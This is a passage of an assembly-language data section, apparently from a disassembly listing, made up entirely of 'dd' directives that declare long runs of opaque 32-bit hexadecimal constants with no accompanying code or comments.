		dd 5821349Fh, 0B0881540h, 27434C3Dh, 4A59105Bh,	0C1B2826Dh
		dd 31F80593h, 123B6884h, 1FD91B38h, 69B09EFEh, 0A45FC43Fh
		dd 62182084h, 0D4F85209h, 9230204Bh, 5D67C3h, 7CBC4A8Ah
		dd 0AB648C07h, 278DB904h, 0E080629Bh, 7F1320EEh, 88DC00A7h
		dd 0D9F3FDB3h, 9860D477h, 313A36D8h, 9F3B1289h,	0C6DC0141h
		dd 20AADB6Fh, 4800BBB8h, 9123B1D0h, 3E183C9h, 0CF383F2Ah
		dd 0A0AE1072h, 0D4CC0C60h, 16334A9h, 29577E7Fh,	9DD9C5DBh
		dd 0BF8017A8h, 1BFC4D05h, 0B47354E6h, 0ADC40088h, 343106A2h
		dd 164955F7h, 0B9350A70h, 2D80E859h, 828A4B37h,	26E2F8C2h
		dd 1C95259Ch, 2A430A77h, 96EB0084h, 9D584DC8h, 2937A500h
		dd 86557183h, 256700BBh, 0A48ED809h, 0EAE6AFA3h, 75C2200Fh
		dd 4E582090h, 0EC148D0h, 0FE147232h, 0EC35F520h, 6200AE04h
		dd 9C232D2Bh, 7972EA75h, 0B9D51C56h, 0C649003Bh, 32092CBh
		dd 0E8942B00h, 15960B65h, 46340014h, 86EB76C7h,	6A01F39Bh
		dd 0D04FEEB5h, 0A0E3F950h, 1A70484h, 20582AFFh,	6BA43B0Bh
		dd 80EC3680h, 133239DFh, 0E6E1C980h, 0FFB10CA7h, 7D215960h
		dd 18E6CC6h, 8F2D307h, 0C825ABDEh, 323D7259h, 17FC8023h
		dd 6B87E04Ch, 46B203EDh, 36FD5AFh, 61604003h, 0E6393750h
		dd 251F1742h, 7A1D8301h, 627A2075h, 0CBDC1A00h,	51BD1C49h
		dd 213075Eh, 9FF76E0Ah,	0F9941E7h, 2B9A4C07h, 0A49FAF00h
		dd 0C93AF6D8h, 479518A1h, 0F83B720h, 0FFBF78F7h, 60DF5CC0h
		dd 39E6D301h, 1F49E700h, 0EE843EE4h, 0A503002Fh, 25985AFDh
		dd 413EFF13h, 0F16E807Dh, 395F6C15h, 0A6118C9h,	2F49C806h
		dd 435E3201h, 5D97CFF1h, 3E8370BBh, 742D9044h, 0F95CD2A8h
		dd 0CC220E1Eh, 80EA3540h, 7B54C77h, 29F168F3h, 317F1274h
		dd 670BF3E0h, 17D31A05h, 2BC0AACFh, 1A03CCEh, 183BB4AFh
		dd 0F0A89F77h, 3F0EE740h, 0C756E574h, 96407D7Bh, 98CF5B89h
		dd 6C180470h, 80A8FB08h, 157C448Bh, 0B7668400h,	505FFD24h
		dd 81A20FDFh, 0F647394Fh, 4B1AA04Ah, 6B3BCF6Ch,	0BAAC8BF3h
		dd 7D90001Fh, 2457FBh, 7F4E3746h, 0AC200B0Fh, 0FBD91E39h
		dd 0C41DA274h, 61808DB3h, 2DBF86A0h, 0ED4E0008h, 68CD0570h
		dd 1B00628Eh, 0EF7E0363h, 6E95C8h, 0EAC3B18Ah, 0F9BAA07Fh
		dd 0AFDDEC1Ch, 0A10CB5C0h, 7988DDFh, 35AE940Dh,	77D3909Ah
		dd 0B700C16Ah, 0CE398C5Bh, 1321617h, 680A8E21h,	0D00F75C6h
		dd 520030ACh, 9E3E2E04h, 0C3EC9Ah, 0B8C67ECAh, 0BEE7F31Ah
		dd 0DB82FF00h, 9BD15DA5h, 0E0BCE81Fh, 0C01D5CCBh, 8C54B000h
		dd 8B6A59F8h, 4171F9F4h, 1752EEA0h, 8D0060E4h, 776355B1h
		dd 0EE6BB6Eh, 885FD904h, 9428801Fh, 660FEAF6h, 48675200h
		dd 0D8A7B837h, 0C47200ADh, 397D8801h, 24001A2Eh, 3E75318Bh
		dd 0CD749D3h, 78B797F9h, 951FC030h, 0C80A42Fh, 0E4A8442h
		dd 458E1EDDh, 0D7C60E53h, 7DD61720h, 2D0C6B4Dh,	0E801B977h
		dd 0AF0E500Dh, 36711Fh,	3322C911h, 0C4BBC3F8h, 0B4823000h
		dd 0E61D2747h, 3618012Bh, 4D15D85Dh, 84F2F926h,	0B5112C29h
		dd 788F3B07h, 80D36108h, 0BD3C737Bh, 0DF02A8C4h, 3F279476h
		dd 0C18522AEh, 3A8D7321h, 10EDE401h, 81CE2495h,	0A34208E9h
		dd 7E0C8128h, 94F9E001h, 39140DA1h, 10482002h, 7D50BCh
		dd 104568ABh, 88CB9135h, 8504D5B7h, 0FEF8C4B6h,	447B2C44h
		dd 0D3438775h, 50102F4Eh, 7167B4h, 5B3FB22Bh, 0FB0DEE51h
		dd 5240A300h, 9C10C492h, 1950032Ah, 0E3EDF901h,	6284ED0h
		dd 804A330h, 3156A4Dh, 0D86B2974h, 958BADE1h, 2119C80h
		dd 0BC1D0800h, 5B84FA86h, 496E3861h, 28185E00h,	0A8932A70h
		dd 2DE52502h, 0E1142FDFh, 0ADD44CE8h, 0D46903AAh, 31A63ABh
		dd 961F8CE0h, 6AA73007h, 0DEF5EAh, 0CBA2F7D2h, 0E26D00BBh
		dd 611ED6B2h, 19007F6Fh, 6E4663E0h, 3ED3E859h, 0D500CF0Eh
		dd 0F92FDA3Fh, 78004206h, 7EE24CD2h, 1F7505F4h,	800B3C51h
		dd 0C53B3AE4h, 460054F6h, 1CD604C1h, 3F007D9h, 9ACFEA03h
		dd 7401DCAAh, 60AFE664h, 2AC8A878h, 9960ED17h, 823B3B76h
		dd 949D92h, 7BD1CAF8h, 59161451h, 0E00BFB8h, 5C28DA05h
		dd 73630126h, 0F6F1D042h, 0A321F804h, 80AB523Bh, 9F900E43h
		dd 3ED0718Bh, 0C780E719h, 627E858Fh, 0C609F284h, 8E6D4126h
		dd 0B9DA40C3h, 0D4F181h, 0AEEA05E5h, 26A02FE9h,	2472B0A0h
		dd 0F13AAF76h, 0A6F78758h, 9E10607Ch, 0BA4089h,	535C5B05h
		dd 617E6515h, 0CC2B3F07h, 0B3104DDEh, 947FBEh, 0AAC93DA4h
		dd 674FA12h, 0E1F10200h, 917D2C73h, 0CDDA0347h,	0A95A6F0Ch
		dd 1F0ED387h, 13BD3990h, 3A38AF00h, 9192A20Ah, 72E5090Bh
		dd 0AF817D8Ch, 0E3B48768h, 521AF6B0h, 95704703h, 80B62A48h
		dd 1EE203BEh, 0C0D6F228h, 0A1C16D80h, 36034F88h, 0BCE36105h
		dd 0CD33E15Bh, 0DDE70983h, 0EFD1BAA8h, 5809D863h, 1FE9700h
		dd 15376611h, 67C80FA7h, 0D56220A9h, 5160C6F8h,	8600E453h
		dd 128ECCCh, 0DF913Eh, 0D5C3E336h, 0C6FF7096h, 0B9003AFEh
		dd 4F78AA89h, 0EE8ECD4h, 0C361B768h, 14123BE0h,	9500D04Dh
		dd 5CE041D2h, 223A7Eh, 99CCB72Ah, 7F473FEBh, 0C084F648h
		dd 0DB5DBBDAh, 61A60065h, 88278692h, 0F909F64h,	3503F4EAh
		dd 9FDC9DAh, 6079E8F7h,	0B8951CA8h, 481589C4h, 0E49D2880h
		dd 0F0002AFh, 0ABC3862Dh, 0EE8FDA2Bh, 0CD27001Ch, 8A31B74Dh
		dd 0C6008E6Dh, 49465D25h, 0EFAC24h, 9E710CAFh, 7F9ACB21h
		dd 8038C10Eh, 9869E0D0h, 7555B0B5h, 0F94C001Eh,	0AD5AEE29h
		dd 0B7036AB4h, 78C7AC13h, 7A3780D4h, 580D7043h,	640ED93Eh
		dd 8160C89Ah, 0A09DEB8Ah, 3CD6971Fh, 5B088787h,	0C8222070h
		dd 8A280747h, 0D0F11243h, 0E39E2B4Eh, 540E3976h, 6002836Dh
		dd 0B972A78Ah, 0CF805F9h, 0F2FA6Ah, 0E0913604h,	963E7B5Bh
		dd 47D30556h, 0F8008E02h, 8CD6F9EEh, 5C2A00A0h,	0D5EDF564h
		dd 0A8007E92h, 7F9B19ABh, 0D776B7h, 5F8F6E0Bh, 0B043534Eh
		dd 2F314A00h, 72188BF2h, 47390081h, 9AA2B237h, 16000B41h
		dd 221C8EC1h, 0CE27BFAh, 3813CDDBh, 0AE24F2A6h,	0DA02DA59h
		dd 429C0EFEh, 0CE64C044h, 0C3283BB7h, 0E2A9BE87h, 7ED231D9h
		dd 22DEE00Fh, 0A875A300h, 0AA0B6924h, 47CC0080h, 0CA0DA02Bh
		dd 870F832Ah, 20D537F5h, 0E566E9ACh, 569E0E06h,	0D840ABEFh
		dd 8DFC9828h, 2932F900h, 0BFD2E5Ah, 0FA313842h,	1A1E2000h
		dd 9575A227h, 6D2CBE00h, 8503F779h, 0D8D0006h, 1688C28Eh
		dd 0AB00D673h, 0A1327DE5h, 6B272Dh, 2440AE85h, 5C6CF477h
		dd 93E21903h, 0D0B1E3BDh, 33E137h, 7A68C627h, 838298CDh
		dd 0CE6D0918h, 0FA24AF08h, 0BA7D1F51h, 0D459477Bh, 0FD98E0E7h
		dd 0A4398DDBh, 3851805Eh, 36FF02BEh, 0E49000BAh, 6D9924ACh
		dd 80FD54Fh, 19E51Fh, 0FDF6996h, 4C8F6241h, 8280855Fh
		dd 20A61C74h, 0E0A2BB00h, 0F5345EDFh, 3C2B003Ah, 6CFD7256h
		dd 620F3B47h, 60C5E0E1h
		dd 6D8FEBD4h, 0A9AC006Fh, 5D33F77Dh, 0C93E0DCCh, 6EC001A1h
		dd 1231B39Dh, 0F743AA43h, 1CB8F6Fh, 0E43D2869h,	4B3C70h
		dd 0C70DB864h, 61EAA42Bh, 65E69400h, 0A0E428BEh, 45B0015h
		dd 4D2738D1h, 501C5525h, 89D66EA9h, 420E9800h, 71236D5h
		dd 0EA7B736Fh, 0B94DC17Ah, 0C3253097h, 0C4DC0104h, 1BC0DDCDh
		dd 761E5362h, 9931003Fh, 196CB9A4h, 2900820Ah, 7BC64147h
		dd 3AA03EFh, 0F4894FD6h, 3DB865ADh, 25003CE7h, 0AB397B70h
		dd 3A50292h, 0A7F589E8h, 0F4D00AD2h, 6F004ECEh,	4845F7CAh
		dd 704BD85Eh, 40D00036h, 0FCB29CFBh, 1101C418h,	5EA9E288h
		dd 8441CC90h, 1FCC80C1h, 0CA8C072Eh, 40A4199Ch,	3244870Eh
		dd 6F148300h, 21BB6256h, 0B4F703E0h, 0BA1B6B8Fh, 3D084Ch
		dd 9E9A1360h, 7C1C4Ch, 5520E8Bh, 65675058h, 3F29500h, 804288FAh
		dd 97CB057Fh, 80266C91h, 0ED388CA8h, 76252D03h,	0A8989AC9h
		dd 3B828CEh, 0F3496A1Bh, 56887958h, 5CFEFDE4h, 2C45BD17h
		dd 0D22F14h, 0E93339DAh, 0AB428Ch, 67109976h, 0CDF7BF4Ch
		dd 0CA1E43E2h, 45803F30h, 0E406A63h, 72C300C7h,	0FCD971D3h
		dd 4903FAC9h, 0F7042B73h, 0A617D0E7h, 0EDA772Fh, 68C5280Fh
		dd 0F8B0A060h, 5100725Eh, 0C9F4A847h, 745AFCE2h, 5B39003Bh
		dd 9C6CB5B8h, 6B03B307h, 5AB2963h, 6715B8C4h, 167530EBh
		dd 0B1AAC809h, 0A9FBA201h, 0B3564398h, 803001CDh, 0F577006Eh
		dd 3E869E81h, 89002DF2h, 45E452D2h, 5478D5h, 0D7FC0180h
		dd 0D00D81BFh, 21503805h, 86813995h, 647014C5h,	745EC29h
		dd 0F55BF0A6h, 3E43096h, 0C002F9ADh, 0BB889EE0h, 76F4E046h
		dd 20A6588Bh, 0D3A1B007h, 4E0CD084h, 0B8E0481Fh, 8093CB3Dh
		dd 58E5CADDh, 2C5F56h, 4F5D8BA1h, 6D47AC11h, 323F4A01h
		dd 0EA57345Ch, 0DA6F8940h, 8C0E0062h, 0F7F9D513h, 343BF4D6h
		dd 3AAC0081h, 444D837Ch, 758B05BCh, 0C0876E0Dh,	62515CDFh
		dd 57257700h, 8C7879BFh, 0FC850FA9h, 0EF00523Dh, 418D11A2h
		dd 96F239E4h, 0B408FE61h, 6EE0E171h, 0E37B00BFh, 0B63C8A04h
		dd 0EE001E21h, 5A59566Ch, 128222EFh, 8535FCh, 0EA72AEB5h
		dd 0D600D8F8h, 6214BBCBh, 3CB18958h, 5E3D2E65h,	0BC1F0980h
		dd 81FD8DFFh, 0F4406900h, 47D2C483h, 6CED004Fh,	0DB700337h
		dd 1D001579h, 761A74CBh, 0F714D4Ah, 5F332EAh, 4193ADA0h
		dd 4800A1BEh, 0E508C77h, 0F026D9D3h, 67600085h,	88C43A73h
		dd 63008B97h, 0BAB3B915h, 62D6E1h, 0F4C54D72h, 5D278419h
		dd 0AEA24A00h, 0FD8C86EDh, 66503F54h, 37510070h, 42BA29EFh
		dd 0F43E6FB8h, 0E31D3B43h, 0B8831886h, 3014670Ch, 0BF091141h
		dd 0E1EED9FBh, 71B3F400h, 6A465AFFh, 9FC0F143h,	0FBC4002Ch
		dd 848A3D88h, 4C582E08h, 0FC5F00B3h, 0B0DD5910h, 0E82700F6h
		dd 9C4D222Ch, 0D1006E61h, 0AE3D11C7h, 1FA1E724h, 0A0E3345h
		dd 0EDC369h, 74430FA4h,	0CF904AE0h, 0C55CBD01h,	0CDA1FACBh
		dd 6D72DC40h, 9646002Fh, 0DFD49C7Eh, 2A006490h,	8AAF83F6h
		dd 3F3616Fh, 4A1A2D2Ch,	6EF0470Eh, 2400CBF1h, 0E042E454h
		dd 14156CA4h, 0C92879F4h, 0BC0AC700h, 2F958E44h, 0D6E8C200h
		dd 345D4C63h, 2B1A0073h, 975E25F3h, 0BC5C3214h,	0C4FD134Ch
		dd 8E48280Bh, 370E60C6h, 3D2FFEh, 9338F235h, 0FCFFBDF5h
		dd 0EE097300h, 0A2C7F6E8h, 0B909C0E3h, 0E434C56Ah, 0D7F24403h
		dd 0A866FC99h, 50F446h,	83A4D0F1h, 0B17138CCh, 0E1C03Ah
		dd 0BBF9979Bh, 50FD84h,	965BA8C6h, 6BE2548Ch, 63E883F3h
		dd 88290CC0h, 2FBA5F4h,	62B60326h, 4409643h, 0B47B225Dh
		dd 0B8BF8A0Fh, 529840FBh, 39C7DF6h, 415A83D7h, 0E9C02FD9h
		dd 5100DF7Bh, 0ABAE8259h, 0E9B3684h, 0E46C6649h, 8C2BED00h
		dd 9400DA57h, 1ED3D2F1h, 1123E42h, 0DB1B157Fh, 0F0EDFAF7h
		dd 884820F4h, 283FE8h, 96AA8309h, 7443767Ah, 45FC00C1h
		dd 0D8E8BF4Fh, 5D004298h, 3D1E11C0h, 7D342291h,	82F60F0h
		dd 71DD4FAEh, 397D5B00h, 588F6188h, 3A8E1CC6h, 9302C0E9h
		dd 0B4EB4AEh, 0C811AAA0h, 5B0065F4h, 213C1B19h,	7813C3CBh
		dd 69C207BBh, 0C686B1h,	79DD30D4h, 1444CD00h, 1C629620h
		dd 0FD290FC4h, 1140BEB1h, 4D8CBBE6h, 0CFD7EE00h, 23F01905h
		dd 648000F1h, 4F530FE2h, 0B3006162h, 0D1E4A23Dh, 3B7B8F3h
		dd 0AADF23A9h, 76F0C88Bh, 1008AFBh, 537106D3h, 60523474h
		dd 0A932101Eh, 5800796Ch, 54A7B8B3h, 98ACB90h, 0BE996685h
		dd 306F9027h, 0B196DF61h, 4D868F00h, 14F07A0h, 48EF6097h
		dd 2921EA35h, 920E1901h, 0AFA52EC8h, 0DDB970h, 30574245h
		dd 7B48A37Eh, 80B98E3Ah, 16F394DEh, 91B69229h, 0D1A500ECh
		dd 553FD921h, 68274F0Eh, 8E5EA089h, 7E16525Ch, 0A7E200C3h
		dd 0FAD825C7h, 0F800EB20h, 4426FE6Ah, 19522Ah, 9E85159Ah
		dd 0D14A75Eh, 8963CA00h, 0EC037C48h, 0CDDA00A0h, 0CCD64C2Dh
		dd 57004ED3h, 727FF8CBh, 998AF6h, 61C89A8Dh, 3DE924AAh
		dd 6560871Ch, 0ACCA2E00h, 53CBBFh, 272A3EC2h, 0A33F7BEDh
		dd 5E746670h, 0EB46B500h, 0AEF0562h, 0A6F500D7h, 285D013Bh
		dd 11002013h, 602E88EDh, 0C23FE0h, 2322CA94h, 0F00D9185h
		dd 0D600FAE2h, 0A765A6Ah, 0C05CE927h, 0B78AF209h, 300CAE1h
		dd 460CB8DDh, 0E964A9Bh, 0A724CD3Ah, 817954A0h,	1B0EFB51h
		dd 209E63CBh, 2838C136h, 0F9300048h, 7EE215DCh,	0E005A7Fh
		dd 13E4B3D7h, 7F77168Bh, 13BEA5Bh, 0EC2F2ACCh, 60F5C3B5h
		dd 7009558h, 218A8D0h, 0CBCF50h, 0AEF9C6E0h, 2F6F30FDh
		dd 7C27E33Bh, 96BA8816h, 0CC4C10h, 6AAF9CF7h, 1480EDFh
		dd 98C2542Eh, 0D7B1AD64h, 55012E7Ah, 0FC97E595h, 88804192h
		dd 9A8750D9h, 7500221Ah, 350EF41Eh, 5430C6h, 735E5DF2h
		dd 0FC91B5C5h, 27EB5300h, 693D7F29h, 71F2470h, 0CCB00464h
		dd 0A200C094h, 0CA00E497h, 9C15F573h, 3383Fh, 4B4C8E1Ch
		dd 0BD13AE29h, 0A393070Ch, 390F09Ah, 6E3FAD99h,	53D86F8Bh
		dd 8D90CF37h, 46D34BEEh, 0D16B8400h, 2806BC96h,	0AB2C25h
		dd 177BFC48h, 0A41A95EDh, 29EECE90h, 4A273F00h,	47E85FCAh
		dd 0C6D71485h, 0D300F8F7h, 0C41A4883h, 272EB5A0h, 0FE1E2DDEh
		dd 5E92E889h, 0D69800A0h, 0A1B582Fh, 9F7BE116h,	91011900h
		dd 0E81293Ah, 386DE33Eh, 0F2114CC0h, 0E600ECE2h, 12528FCCh
		dd 55D089h, 0FD7A2B67h,	7045FF99h, 8D68B600h, 0CC1AB7Bh
		dd 0A5950F78h, 3E02C7Eh, 0C7242526h, 0B5E76E00h, 74FDB1E2h
		dd 0F8DB7301h, 0FE332C0Fh, 0D1030149h, 0FC4769E4h, 6B7D3B31h
		dd 37644B0Fh, 12FB209Fh, 4CE7E5FDh, 6C806410h, 3C1C0B1Fh
		dd 0D6960A07h, 4CA040FBh, 71349A7h, 70FC51E6h, 1BA67059h
		dd 0A23AE0C7h, 236F8028h, 99EA0AB0h, 2B9E00FDh,	0EC77CA3Ah
		dd 0A1026387h, 0E7BCF71h, 606440DDh, 0AECD0098h, 0C57457A9h
		dd 4400D9C2h, 1BEAE9A0h, 136008B0h, 199429h, 58B6315Ch
		dd 0B3007153h, 0FA5B3C80h, 26430E22h, 0E549801h, 0E08147F4h
		dd 22943827h, 203B0058h, 0F4194BF9h, 382FE90h, 1A6681C9h
		dd 0C0BCCF85h, 248F7A96h, 4E0BA801h, 0E417E86Fh, 0AFD9E4h
		dd 77406529h, 96F734E2h, 1304500h, 8A8089FDh, 0F50B0F0h
		dd 0A5EA5CE7h, 803249A4h, 0BFA6D4D8h, 0C9077C7Bh, 66E2AE6Ah
		dd 0FD9368C0h, 7792005Eh, 0D60C9E37h, 1707631Bh, 3E547BF6h
		dd 1EC1ADF0h
		dd 23860E3Fh, 35806F68h, 73ED46E7h, 0F931F800h,	0D5AD143Dh
		dd 0B870203h, 8805C4A0h, 0F3A337Ch, 0C0496A34h,	3622C2A2h
		dd 0B41B00EEh, 0EF5191B7h, 0C0005B9Eh, 766C1D69h, 15E3ABh
		dd 3A039AE6h, 0C6140832h, 8D5DDB09h, 4D360092h,	6921E0h
		dd 684E85C8h, 0D93153ABh, 1D474F3Eh, 9D80D1BAh,	0A6C49B3Eh
		dd 48B158AFh, 4509F300h, 3BFB7C73h, 0BCD4A03h, 0A03DC8ACh
		dd 9ABD08h, 0FDF6F92h, 810C0528h, 1109A00Ch, 0F45F088Ch
		dd 0B7820392h, 335306F4h, 20A572C8h, 0F2A21E00h, 0EF485AB0h
		dd 50D400DCh, 0EDC1C3D9h, 0F30F3336h, 20DE3240h, 3FF7442Eh
		dd 6D0D12FEh, 526C070Eh, 0D6759008h, 0A000FA90h, 0A9E4EB7Ah
		dd 0E3A7D8h, 2D287FD2h,	38C6FBC4h, 0A467E830h, 758D76Ah
		dd 94B913AAh, 60B0E0E9h, 0DC090337h, 878C64ABh,	0C1B2D184h
		dd 590C4087h, 0C49957h,	0EFEA1A13h, 9E4C3E82h, 101B00B4h
		dd 4C63EE9Dh, 0DCE11F6Fh, 69470003h, 4E3A71E3h,	3000D072h
		dd 2A57FE5Ah, 0C8D2Bh, 95EF62FBh, 5E9CF62Dh, 0DB00D8B8h
		dd 1BD154B2h, 41115Ah, 0ED2E14A3h, 6D7FD39Eh, 0F2C2F00h
		dd 5EA7EE68h, 49D90728h, 3025C34Dh, 82E59672h, 8948400h
		dd 81FD8380h, 44581FACh, 0DCCDC3C5h, 0B6A86B9Ch, 0A7009EBAh
		dd 4D112ADAh, 0BB5B94h,	3DAC7112h, 0D7CDB1F9h, 0BF3AC200h
		dd 0D15ECC89h, 1EA200F8h, 0D09FCA2Dh, 0FCEEC727h, 0C9B49407h
		dd 0CB60C5CEh, 7F59D356h, 3C0A0021h, 6FFBE593h,	533D5CC2h
		dd 468B0FCEh, 0B14080CFh, 9F9BFC3h, 7FF24884h, 0BCF60880h
		dd 0F800DEACh, 0A925499Dh, 61BDE3h, 0A8AD8DCAh,	0E7F4A752h
		dd 0ABD7D101h, 973E6643h, 38F8FDF9h, 485B01BDh,	9DB809C2h
		dd 0EEB6F087h, 0A551F400h, 239F916h, 0A0150104h, 0AB50C53Fh
		dd 96098C80h, 0DADAA9h,	0D824777Ah, 0E63A5DD2h,	501CF402h
		dd 0E011EEC3h, 0F28CC647h, 3EBD0F36h, 0B1A7DBFAh, 0E22550C4h
		dd 73014C5Eh, 110B4968h, 6F6069BEh, 5BA0C043h, 89EF8078h
		dd 6F46AB0Bh, 71700008h, 0C519452h, 3E9CD97Dh, 35138160h
		dd 64011EA7h, 2911886Dh, 3A7ADC70h, 0C980A2B5h,	5EA1784Ah
		dd 3A0EFAA4h, 5749EC1Fh, 80AC5900h, 595004h, 197BA2FFh
		dd 88A04CEBh, 0B8978F00h, 8C9E1278h, 72F100CBh,	0E7562DEEh
		dd 0A92EB4CAh, 910020E9h, 60A2B9EAh, 3F3C0015h,	0BE50FEAEh
		dd 5100BD02h, 24D1EC94h, 3BDA55B1h, 33802DD4h, 9D4E6F6Ch
		dd 47002B43h, 97039EC0h, 202EB1h, 0F1B37DFDh, 2B56D27Eh
		dd 0BE6E0E01h, 5AD953A8h, 8D0B20h, 0CBA9097Ch, 4BDE434Eh
		dd 0F9871316h, 61559600h, 210406Fh, 88A87E4Dh, 0FEE043CAh
		dd 3400C6C0h, 879B576Ch, 1EF4CD9Ch, 81829AD0h, 0AB907540h
		dd 8BFEF40Ah, 733D7BF8h, 1F0D80EEh, 0F7786CE5h,	46B80183h
		dd 0C91B6404h, 6027F439h, 263BA900h, 0C14F80C5h, 0AAD9005Dh
		dd 0AD72C207h, 9102C032h, 5937B655h, 0F3BB4052h, 7A600AFh
		dd 0AE469B39h, 95006593h, 0EA17DCAAh, 3EB2BEDBh, 1A807748h
		dd 0B05CC89Bh, 0EE004916h, 0ADC22E8Dh, 79E3C22h, 621FE152h
		dd 30BAE70Dh, 0B86F8DDBh, 0F3993400h, 0E69B2217h, 0CEE40071h
		dd 6D94C1C0h, 87E84395h, 0E57AA1Ch, 4068B400h, 0BB703Ah
		dd 9A35CAEFh, 92E40CDCh, 0D01EFA39h, 0F900B6AEh, 220245C2h
		dd 2E105Dh, 0D26B6C76h,	82577F61h, 35EACB2Ch, 0A5CD1E03h
		dd 760976Fh, 0B5D7C6h, 277A6EE6h, 0CDF6554Bh, 1294BF07h
		dd 0F27005C1h, 1D3BEEB4h, 4F02DC0Dh, 0C322D6D0h, 23407977h
		dd 0BA1225F6h, 92007D1Ch, 0B9B6F29Dh, 25B0D9h, 50455AD1h
		dd 163EF9E0h, 0F50EF10Fh, 0A0660E43h, 8AF4D1Dh,	822D03DAh
		dd 25786ABAh, 0BDC03BFAh, 0C011B7Ah, 0D1D27302h, 83DAD31Ah
		dd 0B0B166D1h, 0E9C1484h, 0FE70CAF6h, 268FA926h, 0E79A2E00h
		dd 5516221Bh, 0A71D00EBh, 586AF4CEh, 0D8EC0A4Eh, 0F2ADD60h
		dd 810354h, 0AFEECDD3h,	0C196018Dh, 0D01E373Dh,	0C53B55F8h
		dd 34281F06h, 71527500h, 1F58F048h, 3BFE37h, 69E7B446h
		dd 0FD01CAEAh, 1BE96C36h, 89D07FEBh, 6BF291h, 0DC01C0BEh
		dd 0D666F15Ah, 0D002170h, 39FB48ABh, 1DBBE0F7h,	0C997A3h
		dd 0B398D8E5h, 1E728F8Bh, 58BD5301h, 4D13FE7Fh,	3D5EEDC8h
		dd 56072C6Bh, 0B90C59h,	0E5DCB44h, 0BD00F0B0h, 0B1DBE8B5h
		dd 0BF9D1Ah, 43E0AC1Fh,	865309EAh, 7DB5A53Dh, 3A2458h
		dd 8E82307Ah, 7E0DF7C4h, 9B2C00C0h, 3F34355Ch, 5AFED896h
		dd 0BC7E7403h, 0D8A77394h, 126A87B0h, 0FD7E5ABh, 0CC0BAD4h
		dd 9B967883h, 55F29500h, 0C95C2BBEh, 187101DAh,	38FA45BDh
		dd 64ECC8Eh, 7E024D07h,	0F8F0F4BAh, 0E65C3766h,	0EB291D09h
		dd 5F0D811Eh, 0C4B6740Fh, 61036BBBh, 0BE57ABE6h, 8472F849h
		dd 31F2048Ah, 80969D27h, 0EE9960F4h, 0DFD15600h, 50E62D8Dh
		dd 0C57512h, 0E72F5E67h, 0DC8AC01Fh, 74F7F900h,	4B9E4EC6h
		dd 7E130059h, 0F9989E1h, 5C01801Ah, 125DDF67h, 84E0E891h
		dd 0DDDE00D4h, 9F8BF731h, 0CE003A5Ch, 0BA582EEAh, 7072F9Ah
		dd 0E1D76EE8h, 2D7BE1BEh, 0CEF5D062h, 3878DC09h, 1E80005h
		dd 700B56h, 0D325D0DAh,	0E8F2DE2Eh, 0F5487D16h,	8DB3B500h
		dd 7DE13E99h, 79E90CBBh, 2509F708h, 451215B8h, 93078FC7h
		dd 41507C66h, 3F654002h, 0C080D433h, 3D51A193h,	3700F02Dh
		dd 0B257AC73h, 13329Ah,	2C094EBAh, 21B092ADh, 9EB63D3Bh
		dd 5A00CE17h, 0B2E08CCDh, 0D1330082h, 4734C218h, 444C1665h
		dd 0F8FE00D0h, 262ACF8Bh, 0F927000Bh, 6A56D71Dh, 0FA002513h
		dd 0D85E585Fh, 0F476AB85h, 9FCF001Ch, 63145BCBh, 0FA00A58Eh
		dd 0E14CF9C8h, 28109B7Fh, 0EA68EEh, 0DA6C2E3Ch,	0D7CA23F2h
		dd 93EDF400h, 0CCD51BD0h, 78070061h, 3D2DB6EAh,	23FE0D9h
		dd 0CB150042h, 0ABABE2Fh, 0F4441FA0h, 52E58091h, 0D66FA7B2h
		dd 0DC5D1F0Eh, 0E432FEFh, 0C665201Dh, 10F5B54h,	28D89E01h
		dd 0D09ACE1Bh, 400080D1h, 0A7E71D63h, 0D512A6h,	65D02497h
		dd 6A81C892h, 96CEA900h, 0C30778ACh, 0ADB70371h, 6666F5Bh
		dd 41B137E0h, 0EC92D000h, 539F65A3h, 0DAAA00B0h, 5D2BDBF7h
		dd 3D005A1Ah, 0F5A8CA5Bh, 1CE9D93h, 0DAE3C286h,	0DC6CB9AAh
		dd 490FAFADh, 802B1CD5h, 95D19F55h, 3A52002Ch, 0F6F7B0ACh
		dd 81005875h, 4234A7DEh, 0C1035h, 0AE3B5A08h, 0DA4E2F76h
		dd 0F1EEAA98h, 86936901h, 0A56E2AD0h, 0F2538A8Eh, 87099705h
		dd 2267D039h, 0D9007BC1h, 2B895CC3h, 0E6DE4A25h, 0FE4F055Dh
		dd 0C0795BFFh, 0B191AD72h, 27738D00h, 21252A82h, 0C94C1944h
		dd 0D8C72011h, 0C30047C1h, 314B797Ah, 83A602h, 0DFF75109h
		dd 0F0CEC985h, 0B9185200h, 0FBB7F315h, 0D56B4CD8h, 0A0709700h
		dd 0F43CECE3h, 0E7EF4A07h, 85A23520h, 641FE075h, 224700CCh
		dd 8FD20AA3h, 894DF490h, 201207B4h, 7CF06099h, 0E0F39C53h
		dd 8E3F008Bh, 71AEE4Ah,	1638B621h, 0D47593C0h, 6509600h
		dd 7BFC1D3h, 0FCA28373h, 0F9499044h, 0C400AADBh, 7CD98FC6h
		dd 594CFAh, 6B10FBF7h, 4A3AA74Bh, 0B8A32B00h, 0C0DE9499h
		dd 0ADC5003Ch, 892468C7h, 5704B38Dh, 314C7CD7h,	0BE6C69C0h
		dd 0DB4E00F5h, 0FF87BB83h, 3907975Ah, 0AA8CDCE7h, 0C50351C0h
		dd 21B20931h, 0D980A2D4h, 12B7D036h, 8B480500h,	0EB61345Ch
		dd 76CB003Fh, 8179D3B4h, 60009789h, 1DC75095h, 268A3716h
		dd 389649h, 4A56BFAEh
		dd 0A90526DDh, 0AF3CE32Ah, 0A9E8D11Dh, 685D7B07h, 0BFB04136h
		dd 0BAE96DFh, 949FDC2Bh, 0C04EF987h, 0FD04F0ADh, 6B178500h
		dd 379CAC29h, 0C05B2E5Fh, 35D70004h, 94FE736Ch,	0A5DFD909h
		dd 0FB600002h, 0EBD1866Fh, 1C3CB6C8h, 0C7F4BC5Ch, 2065DCF6h
		dd 45E82A67h, 665840E9h, 7513CDC1h, 0EA00C0E3h,	24D8DED0h
		dd 0EA7BB8D6h, 0A52D1C57h, 0BA84C09Bh, 481BF52Eh, 984A4718h
		dd 12ABFDD1h, 16C44C9h,	0CA7641C1h, 0A04AD05Ah,	883EF800h
		dd 45461273h, 0DCBF0018h, 80573DE3h, 30003ACFh,	50A3D4CBh
		dd 6803CEh, 924BF44Ah, 3775DE85h, 2F645500h, 0B2F599CBh
		dd 0C9250330h, 7F8E9051h, 97537ED8h, 19E55600h,	0F68FEA16h
